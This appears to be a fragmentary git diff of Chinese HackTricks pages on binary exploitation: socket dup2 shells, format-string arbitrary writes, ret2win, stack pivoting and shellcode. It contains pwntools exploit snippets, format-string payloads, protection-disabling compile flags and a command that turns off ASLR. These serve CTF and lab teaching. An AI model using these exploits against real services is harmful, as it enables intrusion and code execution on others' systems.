[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：
[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 远程利用中的文件描述符
-当向调用**`system('/bin/sh')`**的远程服务器发送利用时，这将在服务器进程中执行，`/bin/sh`将期望从stdin（FD：`0`）接收输入，并将输出打印在stdout和stderr中（FDs `1`和`2`）。 因此，攻击者将无法与shell进行交互。
+当向远程服务器发送一个利用代码，例如调用 **`system('/bin/sh')`** 时，这将在服务器进程中执行，`/bin/sh` 将期望从 stdin (FD: `0`) 接收输入，并将输出打印到 stdout 和 stderr (FDs `1` 和 `2`)。因此，攻击者将无法与 shell 进行交互。
-修复此问题的一种方法是假设服务器启动时创建了**FD编号`3`**（用于监听），然后，您的连接将在**FD编号`4`**中。 因此，可以使用系统调用**`dup2`**将stdin（FD 0）和stdout（FD 1）复制到FD 4（攻击者连接的FD），从而使得一旦执行后可以联系shell。
+解决此问题的一种方法是假设服务器启动时创建了 **FD 编号 `3`**（用于监听），然后，您的连接将位于 **FD 编号 `4`**。因此，可以使用系统调用 **`dup2`** 将 stdin (FD 0) 和 stdout (FD 1) 复制到 FD 4（攻击者的连接），这样在执行 shell 后就可以与之联系。
-[**这里的利用示例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
+[**从这里获取利用示例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@@ -37,20 +40,23 @@ p.interactive()
```
## Socat & pty
-请注意，socat已经将**`stdin`**和**`stdout`**传输到套接字。但是，`pty`模式**包括DELETE字符**。因此，如果您发送`\x7f`（`DELETE`-），它将**删除您的利用程序的前一个字符**。
+注意，socat 已经将 **`stdin`** 和 **`stdout`** 转移到套接字。然而，`pty` 模式 **包含 DELETE 字符**。因此，如果你发送 `\x7f` ( `DELETE` -)，它将 **删除你利用中的前一个字符**。
-为了绕过这个问题，必须在发送任何`\x7f`之前添加**转义字符`\x16`**。
+为了绕过这一点，**必须在发送的任何 `\x7f` 前加上转义字符 `\x16`。**
-**在这里你可以** [**找到这种行为的示例**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
+**在这里你可以** [**找到这个行为的示例**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中宣传**吗？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md
index a0c4d1ab8..081de33d1 100644
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@@ -1,26 +1,29 @@
-# 格式化字符串
+# 格式字符串
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中被广告**吗？ 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
## 基本信息
-在C语言中，**`printf`**是一个用于**打印**字符串的函数。该函数期望的**第一个参数**是**带有格式化符号的原始文本**。接下来期望的参数是要从原始文本中**替换**格式化符号的**值**。
+在 C 中，**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
-其他存在漏洞的函数包括**`sprintf()`**和**`fprintf()`**。
+其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
-当将**攻击者文本用作该函数的第一个参数**时，漏洞就会出现。攻击者将能够通过**滥用printf格式字符串的功能**来构建一个**特殊输入**，以读取和**写入任何地址的任何数据（可读/可写）**。从而能够**执行任意代码**。
+当 **攻击者的文本作为该函数的第一个参数** 时，就会出现漏洞。攻击者将能够构造一个 **特殊输入，利用** **printf 格式** 字符串的能力来读取和 **写入任何地址（可读/可写）** 中的 **任何数据**。这样就能够 **执行任意代码**。
-#### 格式化符号:
+#### 格式化符：
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -31,9 +34,9 @@
%hn —> Occupies 2 bytes instead of 4
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ -* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
-%n`** 在堆栈中的 \ 参数中**写入**所写字节的**数量**到指定地址。如果攻击者可以使用printf写入尽可能多的字符，他将能够使 **`$%n`** 在任意地址写入任意数字。
+格式化器 **`$%n`** **在** **指定地址**中写入**已写入字节的数量**，该地址在栈中的 \ 参数中。如果攻击者可以使用 printf 写入任意数量的字符，他将能够使 **`$%n`** 在任意地址写入任意数字。
-幸运的是，要写入数字9999，并不需要在输入中添加9999个"A"，为了做到这一点，可以使用格式化程序 **`%.%$n`** 将数字 **``** 写入由 `num` 位置指向的地址。
+幸运的是，要写入数字 9999，并不需要在输入中添加 9999 个 "A"，为了做到这一点，可以使用格式化器 **`%.%$n`** 在 **`num` 位置指向的地址**中写入数字 **``**。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
-然而，请注意，通常为了写入诸如`0x08049724`这样的地址（一次写入一个巨大的数字），**会使用`$hn`**而不是`$n`。这样可以**仅写入2字节**。因此，此操作需要执行两次，一次用于地址的最高2字节，另一次用于最低的字节。
+然而，请注意，通常为了写入一个地址，例如 `0x08049724`（这是一个一次性写入的巨大数字），**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此，这个操作需要进行两次，一次写入地址的高 2 字节，另一次写入低 2 字节。
-因此，此漏洞允许**在任何地址中写入任何内容（任意写入）。**
+因此，这个漏洞允许**在任何地址写入任何内容（任意写入）。**
-在此示例中，目标是**覆盖**稍后将调用的**GOT**表中函数的**地址**。尽管这可能会滥用其他任意写入执行技术：
+在这个例子中，目标是**覆盖**一个**函数**在**GOT**表中的**地址**，该函数将在稍后被调用。尽管这可以滥用其他任意写入到执行的技术：
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
-我们将**覆盖**一个**从**用户**接收参数**并将其指向**`system`**函数的**函数**。\
-如前所述，通常需要两个步骤来写入地址：首先写入地址的2字节，然后写入另外2字节。为此，使用**`$hn`**。
+我们将**覆盖**一个**函数**，该函数**接收**来自**用户**的**参数**并**指向****`system`** **函数**。\
+如前所述，写入地址通常需要 2 个步骤：您**首先写入地址的 2 字节**，然后写入另外 2 字节。为此使用**`$hn`**。
-- **HOB** 用于地址的2个高字节
-- **LOB** 用于地址的2个低字节
+* **HOB** 被调用为地址的 2 个高字节
+* **LOB** 被调用为地址的 2 个低字节
-然后，由于格式字符串的工作方式，您需要**首先写入\[HOB，LOB\]中较小的那个**，然后再写入另一个。
+然后，由于格式字符串的工作方式，您需要**首先写入较小的** \[HOB, LOB]，然后写入另一个。
如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@@ -185,15 +188,15 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
{% endcode %}
-### Pwntools模板
+### Pwntools 模板
-您可以在以下位置找到一个**模板**，用于准备利用这种类型漏洞的利用程序：
+您可以在以下位置找到用于准备此类漏洞的**模板**：
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
-或者可以参考这个基本示例[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
+或者可以从[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)找到这个基本示例：
```python
from pwn import *
@@ -214,16 +217,31 @@ p.interactive()
```
## 格式字符串到缓冲区溢出
-可以利用格式字符串漏洞的写入操作来**写入栈上的地址**，并利用**缓冲区溢出**类型的漏洞。
+可以利用格式字符串漏洞的写入操作来**写入栈的地址**，并利用**缓冲区溢出**类型的漏洞。
-## 其他示例和参考资料
+## 其他示例与参考
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
-* 32位，无relro，无canary，nx，无pie，基本使用格式字符串从栈中泄漏标志（无需更改执行流程）
+* 32位，无relro，无canary，nx，无pie，基本使用格式字符串从栈中泄露标志（无需更改执行流程）
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32位，relro，无canary，nx，无pie，格式字符串覆盖地址`fflush`为win函数（ret2win）
+* 32位，relro，无canary，nx，无pie，格式字符串覆盖地址`fflush`与win函数（ret2win）
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
-* 32位，relro，无canary，nx，无pie，格式字符串写入`.fini_array`中main内的地址（使流程再次循环1次），并将地址写入指向`strlen`的GOT表中的`system`。当流程返回到main时，`strlen`将以用户输入执行，并指向`system`，将执行传递的命令。
+* 32位，relro，无canary，nx，无pie，格式字符串在`.fini_array`中写入main内部的地址（使流程再循环一次）并将地址写入指向`strlen`的GOT表中的`system`。当流程返回到main时，`strlen`与用户输入一起执行并指向`system`，将执行传递的命令。
+
+{% hint style="success" %}
+学习与实践AWS黑客技术：[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
+
+[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -31,41 +32,41 @@ printfleak();
bof();
}
```
-编译时不使用canary:
+编译时不使用 canary：
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-### 寻找偏移量
+### 查找偏移量
### x30 偏移量
-使用 **`pattern create 200`** 创建模式，使用它，并使用 **`pattern search $x30`** 检查偏移量，我们可以看到偏移量为 **`108`** (0x6c)。
+创建一个模式 **`pattern create 200`**，使用它，并通过 **`pattern search $x30`** 检查偏移量，我们可以看到偏移量是 **`108`** (0x6c)。
.png)
.png)
.png)
@@ -121,46 +122,46 @@ bof();
}
```
-编译**无 Canary**：
+编译 **without canary**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
-### PIE and ASLR but no canary
+### PIE 和 ASLR 但没有 canary
* 第一轮：
-* 从栈中泄漏PIE
-* 滥用缓冲区溢出返回到主函数
+* 从栈中泄露 PIE
+* 利用 bof 返回到 main
* 第二轮：
-* 从栈中泄漏libc
-* ROP：ret2system
+* 从栈中泄露 libc
+* ROP: ret2system
-### Printf泄漏
+### Printf 泄露
-在调用printf之前设置断点，可以看到栈中有要返回到二进制文件的地址，还有libc地址：
+在调用 printf 之前设置一个断点，可以看到栈中有返回到二进制的地址以及 libc 地址：
.png)
.png)
.png)
#include
@@ -39,19 +40,19 @@ vulnerable_function();
return 0;
}
```
-要编译此程序而不启用堆栈保护并禁用**ASLR**，您可以使用以下命令：
+要在没有栈保护和禁用**ASLR**的情况下编译此程序，可以使用以下命令：
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-m32`: 将程序编译为32位二进制文件（这是可选的，但在CTF挑战中很常见）。
+* `-m32`: 将程序编译为32位二进制文件（这不是必需的，但在CTF挑战中很常见）。
* `-fno-stack-protector`: 禁用对栈溢出的保护。
* `-z execstack`: 允许在栈上执行代码。
-* `-no-pie`: 禁用位置无关可执行文件，以确保`win`函数的地址不会改变。
+* `-no-pie`: 禁用位置无关可执行文件，以确保`win`函数的地址不变。
* `-o vulnerable`: 将输出文件命名为`vulnerable`。
-### 使用Pwntools的Python攻击脚本
+### 使用Pwntools的Python利用
-对于攻击，我们将使用**pwntools**，这是一个强大的CTF框架，用于编写攻击。攻击脚本将创建一个有效负载来溢出缓冲区，并用`win`函数的地址覆盖返回地址。
+对于利用，我们将使用**pwntools**，这是一个强大的CTF框架，用于编写利用脚本。利用脚本将创建一个有效载荷，以溢出缓冲区并用`win`函数的地址覆盖返回地址。
```python
from pwn import *
@@ -71,61 +72,62 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-要找到`win`函数的地址，您可以使用**gdb**，**objdump**或任何其他允许您检查二进制文件的工具。例如，使用`objdump`，您可以使用：
+要找到 `win` 函数的地址，您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如，使用 `objdump`，您可以使用：
```sh
objdump -d vulnerable | grep win
```
-这个命令将显示`win`函数的汇编代码，包括其起始地址。
+该命令将显示 `win` 函数的汇编代码，包括其起始地址。
-Python脚本发送精心构造的消息，当被`vulnerable_function`处理时，会溢出缓冲区并用`win`的地址覆盖栈上的返回地址。当`vulnerable_function`返回时，不会返回到`main`或退出，而是跳转到`win`，并打印消息。
+Python 脚本发送一个精心构造的消息，当 `vulnerable_function` 处理时，会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时，它不会返回到 `main` 或退出，而是跳转到 `win`，并打印消息。
## 保护措施
-* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **应该被禁用**，以便地址在不同执行中可靠，否则函数存储的地址不会始终相同，您需要一些泄漏来找出`win`函数加载的位置。在某些情况下，当导致溢出的函数是`read`或类似函数时，您可以进行**部分覆盖**，覆盖1或2个字节以将返回地址更改为`win`函数。由于ASLR的工作原理，最后三个十六进制数字不是随机的，因此有**1/16的机会**（1个十六进制数字）获得正确的返回地址。
-* [**栈保护**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应该被禁用，否则受损的EIP返回地址将永远不会被跟随。
+* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **应禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址可能并不总是相同，您需要一些 leak 来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作方式，最后三个十六进制半字节不会随机化，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
+* [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
-## 其他示例和参考资料
+## 其他示例与参考
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
-* 32位，无ASLR
+* 32位，无 ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
-* 64位，带ASLR，带二进制地址泄漏
+* 64 位，带 ASLR，带 bin 地址的 leak
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
-* 64位，无ASLR
+* 64 位，无 ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
-* 32位，无ASLR，双小溢出，首先溢出栈并增加第二次溢出的大小
+* 32 位，无 ASLR，双小溢出，第一次溢出栈并增大第二次溢出的大小
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32位，relro，无canary，nx，无pie，格式化字符串以覆盖`fflush`地址为win函数（ret2win）
+* 32 位，relro，无金丝雀，nx，无 pie，格式字符串覆盖地址 `fflush` 为 `win` 函数（ret2win）
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
-* 32位，nx，无其他保护，部分覆盖EIP（1字节）以调用win函数
+* 32 位，nx，其他无，部分覆盖 EIP（1Byte）以调用 `win` 函数
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
-* 32位，nx，无其他保护，部分覆盖EIP（1字节）以调用win函数
+* 32 位，nx，其他无，部分覆盖 EIP（1Byte）以调用 `win` 函数
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
-* 程序仅验证数字的最后一个字节以检查输入的大小，因此只要最后一个字节在允许范围内，就可以添加任何大小。然后，输入创建一个利用ret2win的缓冲区溢出。
+* 该程序仅验证数字的最后一个字节以检查输入的大小，因此只要最后一个字节在允许范围内，就可以添加任何大小。然后，输入创建一个缓冲区溢出，通过 ret2win 进行利用。
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-* 64位，relro，无canary，nx，pie。部分覆盖以调用win函数（ret2win）
+* 64 位，relro，无金丝雀，nx，pie。部分覆盖以调用 `win` 函数（ret2win）
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-* arm64，PIE，提供PIE泄漏，win函数实际上是2个函数，因此ROP gadget调用2个函数
+* arm64，PIE，给出一个 PIE leak，`win` 函数实际上是两个函数，因此 ROP gadget 调用两个函数
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
-* ARM64，通过一次溢出调用win函数
+* ARM64，off-by-one 调用 `win` 函数
-## ARM64示例
+## ARM64 示例
{% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术： [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
, rsp 交换指令
+### xchg \, rsp gadget
```
pop <=== return pointer
@@ -185,35 +188,35 @@ xchg , rsp
```
### jmp esp
-在这里查看ret2esp技术：
+查看 ret2esp 技术：
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
-## 参考资料和其他示例
+## 参考资料与其他示例
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
-* 64位，通过一个以ret sled开头的rop链进行的一个利用
+* 64 位，使用以 ret sled 开头的 rop 链进行越界利用
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
-* 64位，无relro，canary，nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的泄漏。首先获取堆栈泄漏，然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用`.fini_array`条目+调用`__libc_csu_fini`的永久循环（[更多信息请参见此处](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)）。通过滥用这种“永久”写入，在.bss中编写了一个ROP链，并最终调用它通过RBP进行枢轴转换。
+* 64 位，无 relro、canary、nx 和 pie。该程序提供了堆栈或 pie 的泄漏和一个 qword 的 WWW。首先获取堆栈泄漏，然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环（[更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)）。利用这个“永恒”的写入，在 .bss 中写入一个 ROP 链并最终调用它，通过 RBP 进行 pivoting。
## ARM64
-在ARM64中，函数的**入口和出口**不会在堆栈中存储和检索SP寄存器。此外，**`RET`**指令不会返回到SP指向的地址，而是**返回到`x30`内的地址**。
+在 ARM64 中，函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外，**`RET`** 指令不会返回到 SP 指向的地址，而是 **返回到 `x30` 内的地址**。
-因此，默认情况下，仅仅滥用出口，您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP，您仍需要一种方法来**控制`x30`**寄存器。
+因此，默认情况下，仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP，你仍然需要一种方法来 **控制 `x30`** 寄存器。
-* 入口
+* 前言
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
-mov x29, sp // FP指向帧记录
+mov x29, sp // FP 指向帧记录
```
-* 出口
+* 尾声
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
@@ -222,11 +225,26 @@ ret
```
{% hint style="danger" %}
-在ARM64中执行类似于堆栈枢轴的方法是能够**控制`SP`**（通过控制某个将值传递给`SP`的寄存器或者因为某种原因`SP`正在从堆栈中获取其地址并且我们有一个溢出）然后滥用出口从**受控`SP`**加载**`x30`**寄存器并**`RET`**到它。
+在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**（通过控制某个寄存器的值传递给 `SP`，或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出），然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
{% endhint %}
-此外，在以下页面中，您可以看到ARM64中**Ret2esp的等效**：
+在以下页面中，你可以看到 **ARM64 中的 Ret2esp 等价物**：
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
#include
@@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0;
}
```
-这个程序由于使用了`gets()`函数而容易受到缓冲区溢出的影响。
+这个程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。
### 编译
-要编译这个程序并禁用各种保护措施（以模拟一个有漏洞的环境），您可以使用以下命令：
+要在禁用各种保护（以模拟易受攻击的环境）的情况下编译此程序，可以使用以下命令：
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-fno-stack-protector`: 禁用堆栈保护。
-* `-z execstack`: 使堆栈可执行，这对于在堆栈上执行存储的 shellcode 是必要的。
-* `-no-pie`: 禁用位置无关可执行文件，使得更容易预测 shellcode 将位于的内存地址。
-* `-m32`: 将程序编译为 32 位可执行文件，通常用于简化利用开发。
+* `-fno-stack-protector`: 禁用栈保护。
+* `-z execstack`: 使栈可执行，这对于执行存储在栈上的 shellcode 是必要的。
+* `-no-pie`: 禁用位置无关可执行文件，使预测我们的 shellcode 将位于的内存地址更容易。
+* `-m32`: 将程序编译为 32 位可执行文件，通常用于简化漏洞开发。
